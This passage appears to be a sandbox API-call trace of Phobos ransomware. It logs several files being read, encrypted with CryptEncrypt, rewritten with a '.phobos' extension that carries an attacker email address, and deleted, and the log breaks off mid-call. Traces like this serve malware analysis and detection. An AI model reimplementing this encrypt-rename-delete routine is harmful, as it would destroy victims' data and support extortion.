[0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.917] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.918] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.919] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.920] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.921] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.922] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.923] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.924] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.925] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.926] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.927] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.927] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0043.872] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0043.873] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0043.886] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=42674) returned 1 [0043.886] CloseHandle (hObject=0x308) returned 1 [0043.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0043.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0043.886] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0043.886] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0043.886] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0043.886] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0043.887] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10c8e10) returned 1 [0043.887] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0043.887] ReadFile (in: hFile=0x308, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xa6b2, lpOverlapped=0x0) returned 1 [0043.916] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa6c0, dwBufLen=0xa6c0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa6c0) returned 1 [0043.917] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xa6c0, lpOverlapped=0x0) returned 1 [0043.918] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc810) returned 1 [0043.918] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0043.918] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x70, dwBufLen=0x70 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x70) returned 1 [0043.918] CryptDestroyKey (hKey=0x10dc810) returned 1 [0043.918] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x122, lpOverlapped=0x0) returned 1 [0043.918] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0043.918] CloseHandle (hObject=0x308) returned 1 [0043.920] CloseHandle (hObject=0x304) returned 1 [0043.921] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0043.922] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0043.922] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0043.922] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=40) returned 1 [0043.922] CloseHandle (hObject=0x304) returned 1 [0043.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0043.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0043.922] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0043.922] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0043.923] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0043.923] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0043.923] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10c8e10) returned 1 [0043.923] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0043.923] ReadFile (in: hFile=0x304, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x28, lpOverlapped=0x0) returned 1 [0043.924] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30, dwBufLen=0x30 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30) returned 1 [0043.924] WriteFile (in: hFile=0x308, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x30, lpOverlapped=0x0) returned 1 [0043.935] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dca90) returned 1 [0043.935] CryptSetKeyParam (hKey=0x10dca90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0043.935] CryptEncrypt (in: hKey=0x10dca90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60, dwBufLen=0x60 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60) returned 1 [0043.935] CryptDestroyKey (hKey=0x10dca90) returned 1 [0043.935] WriteFile (in: hFile=0x308, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x112, lpOverlapped=0x0) returned 1 [0043.935] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0043.935] CloseHandle (hObject=0x304) returned 1 [0043.935] CloseHandle (hObject=0x308) returned 1 [0043.936] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0043.936] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0043.936] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.021] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=156) returned 1 [0044.021] CloseHandle (hObject=0x30c) returned 1 [0044.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0044.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.022] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.022] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.022] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.022] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0044.026] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10c8e10) returned 1 [0044.026] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.026] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x9c, lpOverlapped=0x0) returned 1 [0044.026] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, 